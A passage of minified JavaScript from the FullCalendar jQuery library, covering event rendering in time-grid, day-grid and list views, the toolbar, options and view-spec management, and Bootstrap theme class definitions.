fc-now-indicator-arrow"></div>').css("top",r).appendTo(this.el.find(".fc-content-skeleton"))[0]),this.nowIndicatorEls=o(i)}},t.prototype.unrenderNowIndicator=function(){this.nowIndicatorEls&&(this.nowIndicatorEls.remove(),this.nowIndicatorEls=null)},t.prototype.updateSize=function(t,n,r){e.prototype.updateSize.call(this,t,n,r),this.slatCoordCache.build(),r&&this.updateSegVerticals([].concat(this.eventRenderer.getSegs(),this.businessSegs||[]))},t.prototype.getTotalSlatHeight=function(){return this.slatContainerEl.outerHeight()},t.prototype.computeDateTop=function(e,t){return this.computeTimeTop(i.duration(e-t.clone().stripTime()))},t.prototype.computeTimeTop=function(e){var t,n,r=this.slatEls.length,o=(e-this.dateProfile.minTime)/this.slotDuration;return o=Math.max(0,o),o=Math.min(r,o),t=Math.floor(o),n=o-(t=Math.min(t,r-1)),this.slatCoordCache.getTopPosition(t)+this.slatCoordCache.getHeight(t)*n},t.prototype.updateSegVerticals=function(e){this.computeSegVerticals(e),this.assignSegVerticals(e)},t.prototype.computeSegVerticals=function(e){var t,n,r,o=this.opt("agendaEventMinHeight");for(t=0;t<e.length;t++)n=e[t],r=this.dayDates[n.dayIndex],n.top=this.computeDateTop(n.startMs,r),n.bottom=Math.max(n.top+o,this.computeDateTop(n.endMs,r))},t.prototype.assignSegVerticals=function(e){var t,n;for(t=0;t<e.length;t++)(n=e[t]).el.css(this.generateSegVerticalCss(n))},t.prototype.generateSegVerticalCss=function(e){return{top:e.top,bottom:-e.bottom}},t.prototype.prepareHits=function(){this.colCoordCache.build(),this.slatCoordCache.build()},t.prototype.releaseHits=function(){this.colCoordCache.clear()},t.prototype.queryHit=function(e,t){var n=this.snapsPerSlot,r=this.colCoordCache,o=this.slatCoordCache;if(r.isLeftInBounds(e)&&o.isTopInBounds(t)){var i=r.getHorizontalIndex(e),s=o.getVerticalIndex(t);if(null!=i&&null!=s){var a=o.getTopOffset(s),l=o.getHeight(s),u=(t-a)/l,d=Math.floor(u*n),c=a+d/n*l,p=a+(d+1)/n*l;return{col:i,snap:s*n+d,component:this,left:r.getLeftOffset(i),right:r.getRightOffset(i),top:c,bottom:p}}}},t.prototype.getHitFootprint=function(e){var t,n=this.getCellDate(0,e.col),r=this.computeSnapTime(e.snap);return n.time(r),t=n.clone().add(this.snapDuration),new h.default(new p.default(n,t),!1)},t.prototype.computeSnapTime=function(e){return i.duration(this.dateProfile.minTime+this.snapDuration*e)},t.prototype.getHitEl=function(e){return this.colEls.eq(e.col)},t.prototype.renderDrag=function(e,t,n){var r;if(t){if(e.length)return this.helperRenderer.renderEventDraggingFootprints(e,t,n),!0}else for(r=0;r<e.length;r++)this.renderHighlight(e[r].componentFootprint)},t.prototype.unrenderDrag=function(){this.unrenderHighlight(),this.helperRenderer.unrender()},t.prototype.renderEventResize=function(e,t,n){this.helperRenderer.renderEventResizingFootprints(e,t,n)},t.prototype.unrenderEventResize=function(){this.helperRenderer.unrender()},t.prototype.renderSelectionFootprint=function(e){this.opt("selectHelper")?this.helperRenderer.renderComponentFootprint(e):this.renderHighlight(e)},t.prototype.unrenderSelection=function(){this.helperRenderer.unrender(),this.unrenderHighlight()},t}(a.default);t.default=v,v.prototype.eventRendererClass=f.default,v.prototype.businessHourRendererClass=l.default,v.prototype.helperRendererClass=m.default,v.prototype.fillRendererClass=g.default,u.default.mixInto(v),d.default.mixInto(v)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.timeGrid=t,r}return r.__extends(t,e),t.prototype.renderFgSegs=function(e){this.renderFgSegsIntoContainers(e,this.timeGrid.fgContainerEls)},t.prototype.renderFgSegsIntoContainers=function(e,t){var n,r;for(n=this.timeGrid.groupSegsByCol(e),r=0;r<this.timeGrid.colCnt;r++)this.updateFgSegCoords(n[r]);this.timeGrid.attachSegsByCol(n,t)},t.prototype.unrenderFgSegs=function(){this.fgSegs&&this.fgSegs.forEach((function(e){e.el.remove()}))},t.prototype.computeEventTimeFormat=function(){return this.opt("noMeridiemTimeFormat")},t.prototype.computeDisplayEventEnd=function(){return!0},t.prototype.fgSegHtml=function(e,t){var n,r,i,s=this.view,a=s.calendar,l=e.footprint.componentFootprint,u=l.isAllDay,d=e.footprint.eventDef,c=s.isEventDefDraggable(d),p=!t&&e.isStart&&s.isEventDefResizableFromStart(d),h=!t&&e.isEnd&&s.isEventDefResizableFromEnd(d),f=this.getSegClasses(e,c,p||h),m=o.cssToStr(this.getSkinCss(d));if(f.unshift("fc-time-grid-event","fc-v-event"),s.isMultiDayRange(l.unzonedRange)){if(e.isStart||e.isEnd){var g=a.msToMoment(e.startMs),y=a.msToMoment(e.endMs);n=this._getTimeText(g,y,u),r=this._getTimeText(g,y,u,"LT"),i=this._getTimeText(g,y,u,null,!1)}}else n=this.getTimeText(e.footprint),r=this.getTimeText(e.footprint,"LT"),i=this.getTimeText(e.footprint,null,!1);return'<a class="'+f.join(" ")+'"'+(d.url?' href="'+o.htmlEscape(d.url)+'"':"")+(m?' style="'+m+'"':"")+'><div class="fc-content">'+(n?'<div class="fc-time" data-start="'+o.htmlEscape(i)+'" data-full="'+o.htmlEscape(r)+'"><span>'+o.htmlEscape(n)+"</span></div>":"")+(d.title?'<div class="fc-title">'+o.htmlEscape(d.title)+"</div>":"")+'</div><div class="fc-bg"></div>'+(h?'<div class="fc-resizer fc-end-resizer"></div>':"")+"</a>"},t.prototype.updateFgSegCoords=function(e){this.timeGrid.computeSegVerticals(e),this.computeFgSegHorizontals(e),this.timeGrid.assignSegVerticals(e),this.assignFgSegHorizontals(e)},t.prototype.computeFgSegHorizontals=function(e){var t,n,r;if(this.sortEventSegs(e),function(e){var t,n,r,o,i;for(t=0;t<e.length;t++)for(n=e[t],r=0;r<n.length;r++)for((o=n[r]).forwardSegs=[],i=t+1;i<e.length;i++)a(o,e[i],o.forwardSegs)}(t=function(e){var t,n,r,o=[];for(t=0;t<e.length;t++){for(n=e[t],r=0;r<o.length&&a(n,o[r]).length;r++);n.level=r,(o[r]||(o[r]=[])).push(n)}return o}(e)),n=t[0]){for(r=0;r<n.length;r++)s(n[r]);for(r=0;r<n.length;r++)this.computeFgSegForwardBack(n[r],0,0)}},t.prototype.computeFgSegForwardBack=function(e,t,n){var r,o=e.forwardSegs;if(void 0===e.forwardCoord)for(o.length?(this.sortForwardSegs(o),this.computeFgSegForwardBack(o[0],t+1,n),e.forwardCoord=o[0].backwardCoord):e.forwardCoord=1,e.backwardCoord=e.forwardCoord-(e.forwardCoord-n)/(t+1),r=0;r<o.length;r++)this.computeFgSegForwardBack(o[r],0,e.forwardCoord)},t.prototype.sortForwardSegs=function(e){e.sort(o.proxy(this,"compareForwardSegs"))},t.prototype.compareForwardSegs=function(e,t){return t.forwardPressure-e.forwardPressure||(e.backwardCoord||0)-(t.backwardCoord||0)||this.compareEventSegs(e,t)},t.prototype.assignFgSegHorizontals=function(e){var t,n;for(t=0;t<e.length;t++)(n=e[t]).el.css(this.generateFgSegHorizontalCss(n)),n.footprint.eventDef.title&&n.bottom-n.top<30&&n.el.addClass("fc-short")},t.prototype.generateFgSegHorizontalCss=function(e){var t,n,r=this.opt("slotEventOverlap"),o=e.backwardCoord,i=e.forwardCoord,s=this.timeGrid.generateSegVerticalCss(e),a=this.timeGrid.isRTL;return r&&(i=Math.min(1,o+2*(i-o))),a?(t=1-i,n=o):(t=o,n=1-i),s.zIndex=e.level+1,s.left=100*t+"%",s.right=100*n+"%",r&&e.forwardPressure&&(s[a?"marginLeft":"marginRight"]=20),s},t}(n(44).default);function s(e){var t,n,r=e.forwardSegs,o=0;if(void 0===e.forwardPressure){for(t=0;t<r.length;t++)s(n=r[t]),o=Math.max(o,1+n.forwardPressure);e.forwardPressure=o}}function a(e,t,n){void 0===n&&(n=[]);for(var r=0;r<t.length;r++)o=e,i=t[r],o.bottom>i.top&&o.top<i.bottom&&n.push(t[r]);var o,i;return n}t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.renderSegs=function(e,t){var n,r,i,s=[];for(this.eventRenderer.renderFgSegsIntoContainers(e,this.component.helperContainerEls),n=0;n<e.length;n++)r=e[n],t&&t.col===r.col&&(i=t.el,r.el.css({left:i.css("left"),right:i.css("right"),"margin-left":i.css("margin-left"),"margin-right":i.css("margin-right")})),s.push(r.el[0]);return o(s)},t}(n(63).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.attachSegEls=function(e,t){var n,r=this.component;return"bgEvent"===e?n=r.bgContainerEls:"businessHours"===e?n=r.businessContainerEls:"highlight"===e&&(n=r.highlightContainerEls),r.updateSegVerticals(t),r.attachSegsByCol(r.groupSegsByCol(t),n),t.map((function(e){return e.el[0]}))},t}(n(62).default);t.default=o},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.dayGrid=t,r}return r.__extends(t,e),t.prototype.renderBgRanges=function(t){t=o.grep(t,(function(e){return e.eventDef.isAllDay()})),e.prototype.renderBgRanges.call(this,t)},t.prototype.renderFgSegs=function(e){var t=this.rowStructs=this.renderSegRows(e);this.dayGrid.rowEls.each((function(e,n){o(n).find(".fc-content-skeleton > table").append(t[e].tbodyEl)}))},t.prototype.unrenderFgSegs=function(){for(var e,t=this.rowStructs||[];e=t.pop();)e.tbodyEl.remove();this.rowStructs=null},t.prototype.renderSegRows=function(e){var t,n,r=[];for(t=this.groupSegRows(e),n=0;n<t.length;n++)r.push(this.renderSegRow(n,t[n]));return r},t.prototype.renderSegRow=function(e,t){var n,r,i,s,a,l,u,d=this.dayGrid.colCnt,c=this.buildSegLevels(t),p=Math.max(1,c.length),h=o("<tbody>"),f=[],m=[],g=[];function y(e){for(;i<e;)(u=(g[n-1]||[])[i])?u.attr("rowspan",parseInt(u.attr("rowspan")||1,10)+1):(u=o("<td>"),s.append(u)),m[n][i]=u,g[n][i]=u,i++}for(n=0;n<p;n++){if(r=c[n],i=0,s=o("<tr>"),f.push([]),m.push([]),g.push([]),r)for(a=0;a<r.length;a++){for(y((l=r[a]).leftCol),u=o('<td class="fc-event-container">').append(l.el),l.leftCol!==l.rightCol?u.attr("colspan",l.rightCol-l.leftCol+1):g[n][i]=u;i<=l.rightCol;)m[n][i]=u,f[n][i]=l,i++;s.append(u)}y(d),this.dayGrid.bookendCells(s),h.append(s)}return{row:e,tbodyEl:h,cellMatrix:m,segMatrix:f,segLevels:c,segs:t}},t.prototype.buildSegLevels=function(e){var t,n,r,o=[];for(this.sortEventSegs(e),t=0;t<e.length;t++){for(n=e[t],r=0;r<o.length&&a(n,o[r]);r++);n.level=r,(o[r]||(o[r]=[])).push(n)}for(r=0;r<o.length;r++)o[r].sort(l);return o},t.prototype.groupSegRows=function(e){var t,n=[];for(t=0;t<this.dayGrid.rowCnt;t++)n.push([]);for(t=0;t<e.length;t++)n[e[t].row].push(e[t]);return n},t.prototype.computeEventTimeFormat=function(){return this.opt("extraSmallTimeFormat")},t.prototype.computeDisplayEventEnd=function(){return 1===this.dayGrid.colCnt},t.prototype.fgSegHtml=function(e,t){var n,r,o=this.view,s=e.footprint.eventDef,a=e.footprint.componentFootprint.isAllDay,l=o.isEventDefDraggable(s),u=!t&&a&&e.isStart&&o.isEventDefResizableFromStart(s),d=!t&&a&&e.isEnd&&o.isEventDefResizableFromEnd(s),c=this.getSegClasses(e,l,u||d),p=i.cssToStr(this.getSkinCss(s)),h="";return c.unshift("fc-day-grid-event","fc-h-event"),e.isStart&&(n=this.getTimeText(e.footprint))&&(h='<span class="fc-time">'+i.htmlEscape(n)+"</span>"),r='<span class="fc-title">'+(i.htmlEscape(s.title||"")||"&nbsp;")+"</span>",'<a class="'+c.join(" ")+'"'+(s.url?' href="'+i.htmlEscape(s.url)+'"':"")+(p?' style="'+p+'"':"")+'><div class="fc-content">'+(this.dayGrid.isRTL?r+" "+h:h+" "+r)+"</div>"+(u?'<div class="fc-resizer fc-start-resizer"></div>':"")+(d?'<div class="fc-resizer fc-end-resizer"></div>':"")+"</a>"},t}(n(44).default);function a(e,t){var n,r;for(n=0;n<t.length;n++)if((r=t[n]).leftCol<=e.rightCol&&r.rightCol>=e.leftCol)return!0;return!1}function l(e,t){return e.leftCol-t.leftCol}t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.renderSegs=function(e,t){var n,r=[];return n=this.eventRenderer.renderSegRows(e),this.component.rowEls.each((function(e,i){var s,a,l=o(i),u=o('<div class="fc-helper-skeleton"><table></table></div>');t&&t.row===e?a=t.el.position().top:((s=l.find(".fc-content-skeleton tbody")).length||(s=l.find(".fc-content-skeleton table")),a=s.position().top),u.css("top",a).find("table").append(n[e].tbodyEl),l.append(u),r.push(u[0])})),o(r)},t}(n(63).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.fillSegTag="td",t}return r.__extends(t,e),t.prototype.attachSegEls=function(e,t){var n,r,o,i=[];for(n=0;n<t.length;n++)r=t[n],o=this.renderFillRow(e,r),this.component.rowEls.eq(r.row).append(o),i.push(o[0]);return i},t.prototype.renderFillRow=function(e,t){var n,r,i,s=this.component.colCnt,a=t.leftCol,l=t.rightCol+1;return n="businessHours"===e?"bgevent":e.toLowerCase(),i=(r=o('<div class="fc-'+n+'-skeleton"><table><tr></tr></table></div>')).find("tr"),a>0&&i.append(new Array(a+1).join("<td></td>")),i.append(t.el.attr("colspan",l-a)),l<s&&i.append(new Array(s-l+1).join("<td></td>")),this.component.bookendCells(i),r},t}(n(62).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(0),i=n(4),s=n(67),a=n(247),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.setGridHeight=function(e,t){t&&(e*=this.dayGrid.rowCnt/6),i.distributeHeight(this.dayGrid.rowEls,e,!t)},t.prototype.isDateInOtherMonth=function(e,t){return e.month()!==o.utc(t.currentUnzonedRange.startMs).month()},t}(s.default);t.default=l,l.prototype.dateProfileGeneratorClass=a.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(68),i=n(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.buildRenderRange=function(t,n,r){var o,s=e.prototype.buildRenderRange.call(this,t,n,r),a=this.msToUtcMoment(s.startMs,r),l=this.msToUtcMoment(s.endMs,r);return this.opt("fixedWeekCount")&&(o=Math.ceil(l.diff(a,"weeks",!0)),l.add(6-o,"weeks")),new i.default(a,l)},t}(o.default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(5),a=n(43),l=n(41),u=n(249),d=n(250),c=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.segSelector=".fc-list-item",r.scroller=new l.default({overflowX:"hidden",overflowY:"auto"}),r}return r.__extends(t,e),t.prototype.renderSkeleton=function(){this.el.addClass("fc-list-view "+this.calendar.theme.getClass("listView")),this.scroller.render(),this.scroller.el.appendTo(this.el),this.contentEl=this.scroller.scrollEl},t.prototype.unrenderSkeleton=function(){this.scroller.destroy()},t.prototype.updateSize=function(t,n,r){e.prototype.updateSize.call(this,t,n,r),this.scroller.clear(),n||this.scroller.setHeight(this.computeScrollerHeight(t))},t.prototype.computeScrollerHeight=function(e){return e-i.subtractInnerElHeight(this.el,this.scroller.el)},t.prototype.renderDates=function(e){for(var t=this.calendar,n=t.msToUtcMoment(e.renderUnzonedRange.startMs,!0),r=t.msToUtcMoment(e.renderUnzonedRange.endMs,!0),o=[],i=[];n<r;)o.push(n.clone()),i.push(new s.default(n,n.clone().add(1,"day"))),n.add(1,"day");this.dayDates=o,this.dayRanges=i},t.prototype.componentFootprintToSegs=function(e){var t,n,r,o=this.dayRanges,i=[];for(t=0;t<o.length;t++)if((n=e.unzonedRange.intersect(o[t]))&&(r={startMs:n.startMs,endMs:n.endMs,isStart:n.isStart,isEnd:n.isEnd,dayIndex:t},i.push(r),!r.isEnd&&!e.isAllDay&&t+1<o.length&&e.unzonedRange.endMs<o[t+1].startMs+this.nextDayThreshold)){r.endMs=e.unzonedRange.endMs,r.isEnd=!0;break}return i},t.prototype.renderEmptyMessage=function(){this.contentEl.html('<div class="fc-list-empty-wrap2"><div class="fc-list-empty-wrap1"><div class="fc-list-empty">'+i.htmlEscape(this.opt("noEventsMessage"))+"</div></div></div>")},t.prototype.renderSegList=function(e){var t,n,r,i=this.groupSegsByDay(e),s=o('<table class="fc-list-table '+this.calendar.theme.getClass("tableList")+'"><tbody></tbody></table>'),a=s.find("tbody");for(t=0;t<i.length;t++)if(n=i[t])for(a.append(this.dayHeaderHtml(this.dayDates[t])),this.eventRenderer.sortEventSegs(n),r=0;r<n.length;r++)a.append(n[r].el);this.contentEl.empty().append(s)},t.prototype.groupSegsByDay=function(e){var t,n,r=[];for(t=0;t<e.length;t++)(r[(n=e[t]).dayIndex]||(r[n.dayIndex]=[])).push(n);return r},t.prototype.dayHeaderHtml=function(e){var t=this.opt("listDayFormat"),n=this.opt("listDayAltFormat");return'<tr class="fc-list-heading" data-date="'+e.format("YYYY-MM-DD")+'"><td class="'+(this.calendar.theme.getClass("tableListHeading")||this.calendar.theme.getClass("widgetHeader"))+'" colspan="3">'+(t?this.buildGotoAnchorHtml(e,{class:"fc-list-heading-main"},i.htmlEscape(e.format(t))):"")+(n?this.buildGotoAnchorHtml(e,{class:"fc-list-heading-alt"},i.htmlEscape(e.format(n))):"")+"</td></tr>"},t}(a.default);t.default=c,c.prototype.eventRendererClass=u.default,c.prototype.eventPointingClass=d.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(4),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.renderFgSegs=function(e){e.length?this.component.renderSegList(e):this.component.renderEmptyMessage()},t.prototype.fgSegHtml=function(e){var t,n=this.view,r=n.calendar,i=r.theme,s=e.footprint,a=s.eventDef,l=s.componentFootprint,u=a.url,d=["fc-list-item"].concat(this.getClasses(a)),c=this.getBgColor(a);return t=l.isAllDay?n.getAllDayHtml():n.isMultiDayRange(l.unzonedRange)?e.isStart||e.isEnd?o.htmlEscape(this._getTimeText(r.msToMoment(e.startMs),r.msToMoment(e.endMs),l.isAllDay)):n.getAllDayHtml():o.htmlEscape(this.getTimeText(s)),u&&d.push("fc-has-url"),'<tr class="'+d.join(" ")+'">'+(this.displayEventTime?'<td class="fc-list-item-time '+i.getClass("widgetContent")+'">'+(t||"")+"</td>":"")+'<td class="fc-list-item-marker '+i.getClass("widgetContent")+'"><span class="fc-event-dot"'+(c?' style="background-color:'+c+'"':"")+'></span></td><td class="fc-list-item-title '+i.getClass("widgetContent")+'"><a'+(u?' href="'+o.htmlEscape(u)+'"':"")+">"+o.htmlEscape(a.title||"")+"</a></td></tr>"},t.prototype.computeEventTimeFormat=function(){return this.opt("mediumTimeFormat")},t}(n(44).default);t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.handleClick=function(t,n){var r;e.prototype.handleClick.call(this,t,n),o(n.target).closest("a[href]").length||(r=t.footprint.eventDef.url)&&!n.isDefaultPrevented()&&(window.location.href=r)},t}(n(64).default);t.default=i},,,,,,function(e,t,n){var r=n(3),o=n(18),i=n(4),s=n(232);n(11),n(49),n(260),n(261),n(264),n(265),n(266),n(267),r.fullCalendar=o,r.fn.fullCalendar=function(e){var t=Array.prototype.slice.call(arguments,1),n=this;return this.each((function(o,a){var l,u=r(a),d=u.data("fullCalendar");"string"==typeof e?"getCalendar"===e?o||(n=d):"destroy"===e?d&&(d.destroy(),u.removeData("fullCalendar")):d?r.isFunction(d[e])?(l=d[e].apply(d,t),o||(n=l),"destroy"===e&&u.removeData("fullCalendar")):i.warn("'"+e+"' is an unknown FullCalendar method."):i.warn("Attempting to call a FullCalendar method on an element with no calendar."):d||(d=new s.default(u,e),u.data("fullCalendar",d),d.render())})),n},e.exports=o},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),o=n(4),i=function(){function e(e,t){this.el=null,this.viewsWithButtons=[],this.calendar=e,this.toolbarOptions=t}return e.prototype.setToolbarOptions=function(e){this.toolbarOptions=e},e.prototype.render=function(){var e=this.toolbarOptions.layout,t=this.el;e?(t?t.empty():t=this.el=r("<div class='fc-toolbar "+this.toolbarOptions.extraClasses+"'>"),t.append(this.renderSection("left")).append(this.renderSection("right")).append(this.renderSection("center")).append('<div class="fc-clear"></div>')):this.removeElement()},e.prototype.removeElement=function(){this.el&&(this.el.remove(),this.el=null)},e.prototype.renderSection=function(e){var t=this,n=this.calendar,i=n.theme,s=n.optionsManager,a=n.viewSpecManager,l=r('<div class="fc-'+e+'">'),u=this.toolbarOptions.layout[e],d=s.get("customButtons")||{},c=s.overrides.buttonText||{},p=s.get("buttonText")||{};return u&&r.each(u.split(" "),(function(e,s){var u,h=r(),f=!0;r.each(s.split(","),(function(e,s){var l,u,m,g,y,v,_,b,M;"title"===s?(h=h.add(r("<h2>&nbsp;</h2>")),f=!1):((l=d[s])?(m=function(e){l.click&&l.click.call(b[0],e)},(g=i.getCustomButtonIconClass(l))||(g=i.getIconClass(s))||(y=l.text)):(u=a.getViewSpec(s))?(t.viewsWithButtons.push(s),m=function(){n.changeView(s)},(y=u.buttonTextOverride)||(g=i.getIconClass(s))||(y=u.buttonTextDefault)):n[s]&&(m=function(){n[s]()},(y=c[s])||(g=i.getIconClass(s))||(y=p[s])),m&&(_=["fc-"+s+"-button",i.getClass("button"),i.getClass("stateDefault")],y?(v=o.htmlEscape(y),M=""):g&&(v="<span class='"+g+"'></span>",M=' aria-label="'+s+'"'),b=r('<button type="button" class="'+_.join(" ")+'"'+M+">"+v+"</button>").click((function(e){b.hasClass(i.getClass("stateDisabled"))||(m(e),(b.hasClass(i.getClass("stateActive"))||b.hasClass(i.getClass("stateDisabled")))&&b.removeClass(i.getClass("stateHover")))})).mousedown((function(){b.not("."+i.getClass("stateActive")).not("."+i.getClass("stateDisabled")).addClass(i.getClass("stateDown"))})).mouseup((function(){b.removeClass(i.getClass("stateDown"))})).hover((function(){b.not("."+i.getClass("stateActive")).not("."+i.getClass("stateDisabled")).addClass(i.getClass("stateHover"))}),(function(){b.removeClass(i.getClass("stateHover")).removeClass(i.getClass("stateDown"))})),h=h.add(b)))})),f&&h.first().addClass(i.getClass("cornerLeft")).end().last().addClass(i.getClass("cornerRight")).end(),h.length>1?(u=r("<div>"),f&&u.addClass(i.getClass("buttonGroup")),u.append(h),l.append(u)):l.append(h)})),l},e.prototype.updateTitle=function(e){this.el&&this.el.find("h2").text(e)},e.prototype.activateButton=function(e){this.el&&this.el.find(".fc-"+e+"-button").addClass(this.calendar.theme.getClass("stateActive"))},e.prototype.deactivateButton=function(e){this.el&&this.el.find(".fc-"+e+"-button").removeClass(this.calendar.theme.getClass("stateActive"))},e.prototype.disableButton=function(e){this.el&&this.el.find(".fc-"+e+"-button").prop("disabled",!0).addClass(this.calendar.theme.getClass("stateDisabled"))},e.prototype.enableButton=function(e){this.el&&this.el.find(".fc-"+e+"-button").prop("disabled",!1).removeClass(this.calendar.theme.getClass("stateDisabled"))},e.prototype.getViewsWithButtons=function(){return this.viewsWithButtons},e}();t.default=i},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=n(3),i=n(4),s=n(33),a=n(32),l=function(e){function t(t,n){var r=e.call(this)||this;return r._calendar=t,r.overrides=o.extend({},n),r.dynamicOverrides={},r.compute(),r}return r.__extends(t,e),t.prototype.add=function(e){var t,n=0;for(t in this.recordOverrides(e),e)n++;if(1===n){if("height"===t||"contentHeight"===t||"aspectRatio"===t)return void this._calendar.updateViewSize(!0);if("defaultDate"===t)return;if("businessHours"===t)return;if(/^(event|select)(Overlap|Constraint|Allow)$/.test(t))return;if("timezone"===t)return void this._calendar.view.flash("initialEvents")}this._calendar.renderHeader(),this._calendar.renderFooter(),this._calendar.viewsByType={},this._calendar.reinitView()},t.prototype.compute=function(){var e,t,n,r;e=i.firstDefined(this.dynamicOverrides.locale,this.overrides.locale),(t=a.localeOptionHash[e])||(e=s.globalDefaults.locale,t=a.localeOptionHash[e]||{}),n=i.firstDefined(this.dynamicOverrides.isRTL,this.overrides.isRTL,t.isRTL,s.globalDefaults.isRTL)?s.rtlDefaults:{},this.dirDefaults=n,this.localeDefaults=t,r=s.mergeOptions([s.globalDefaults,n,t,this.overrides,this.dynamicOverrides]),a.populateInstanceComputableOptions(r),this.reset(r)},t.prototype.recordOverrides=function(e){var t;for(t in e)this.dynamicOverrides[t]=e[t];this._calendar.viewSpecManager.clearCache(),this.compute()},t}(n(51).default);t.default=l},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(0),o=n(3),i=n(24),s=n(4),a=n(33),l=n(32),u=function(){function e(e,t){this.optionsManager=e,this._calendar=t,this.clearCache()}return e.prototype.clearCache=function(){this.viewSpecCache={}},e.prototype.getViewSpec=function(e){var t=this.viewSpecCache;return t[e]||(t[e]=this.buildViewSpec(e))},e.prototype.getUnitViewSpec=function(e){var t,n,r;if(-1!==o.inArray(e,s.unitsDesc))for(t=this._calendar.header.getViewsWithButtons(),o.each(i.viewHash,(function(e){t.push(e)})),n=0;n<t.length;n++)if((r=this.getViewSpec(t[n]))&&r.singleUnit===e)return r},e.prototype.buildViewSpec=function(e){for(var t,n,o,l,u,d=this.optionsManager.overrides.views||{},c=[],p=[],h=[],f=e;f;)t=i.viewHash[f],n=d[f],f=null,"function"==typeof t&&(t={class:t}),t&&(c.unshift(t),p.unshift(t.defaults||{}),o=o||t.duration,f=f||t.type),n&&(h.unshift(n),o=o||n.duration,f=f||n.type);return(t=s.mergeProps(c)).type=e,!!t.class&&((o=o||this.optionsManager.dynamicOverrides.duration||this.optionsManager.overrides.duration)&&(l=r.duration(o)).valueOf()&&(u=s.computeDurationGreatestUnit(l,o),t.duration=l,t.durationUnit=u,1===l.as(u)&&(t.singleUnit=u,h.unshift(d[u]||{}))),t.defaults=a.mergeOptions(p),t.overrides=a.mergeOptions(h),this.buildViewSpecOptions(t),this.buildViewSpecButtonText(t,e),t)},e.prototype.buildViewSpecOptions=function(e){var t=this.optionsManager;e.options=a.mergeOptions([a.globalDefaults,e.defaults,t.dirDefaults,t.localeDefaults,t.overrides,e.overrides,t.dynamicOverrides]),l.populateInstanceComputableOptions(e.options)},e.prototype.buildViewSpecButtonText=function(e,t){var n=this.optionsManager;function r(n){var r=n.buttonText||{};return r[t]||(e.buttonTextKey?r[e.buttonTextKey]:null)||(e.singleUnit?r[e.singleUnit]:null)}e.buttonTextOverride=r(n.dynamicOverrides)||r(n.overrides)||e.overrides.buttonText,e.buttonTextDefault=r(n.localeDefaults)||r(n.dirDefaults)||e.defaults.buttonText||r(a.globalDefaults)||(e.duration?this._calendar.humanizeDuration(e.duration):null)||t},e}();t.default=u},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(38),o=n(56),i=n(223),s=n(224);r.default.registerClass(o.default),r.default.registerClass(i.default),r.default.registerClass(s.default)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(57),o=n(221),i=n(222),s=n(262),a=n(263);r.defineThemeSystem("standard",o.default),r.defineThemeSystem("jquery-ui",i.default),r.defineThemeSystem("bootstrap3",s.default),r.defineThemeSystem("bootstrap4",a.default)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(n(22).default);t.default=o,o.prototype.classes={widget:"fc-bootstrap3",tableGrid:"table-bordered",tableList:"table",tableListHeading:"active",buttonGroup:"btn-group",button:"btn btn-default",stateActive:"active",stateDisabled:"disabled",today:"alert alert-info",popover:"panel panel-default",popoverHeader:"panel-heading",popoverContent:"panel-body",headerRow:"panel-default",dayRow:"panel-default",listView:"panel panel-default"},o.prototype.baseIconClass="glyphicon",o.prototype.iconClasses={close:"glyphicon-remove",prev:"glyphicon-chevron-left",next:"glyphicon-chevron-right",prevYear:"glyphicon-backward",nextYear:"glyphicon-forward"},o.prototype.iconOverrideOption="bootstrapGlyphicons",o.prototype.iconOverrideCustomButtonOption="bootstrapGlyphicon",o.prototype.iconOverridePrefix="glyphicon-"},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(n(22).default);t.default=o,o.prototype.classes={widget:"fc-bootstrap4",tableGrid:"table-bordered",tableList:"table",tableListHeading:"table-active",buttonGroup:"btn-group",button:"btn btn-primary",stateActive:"active",stateDisabled:"disabled",today:"alert alert-info",popover:"card card-primary",popoverHeader:"card-header",popoverContent:"card-body",headerRow:"table-bordered",dayRow:"table-bordered",listView:"card 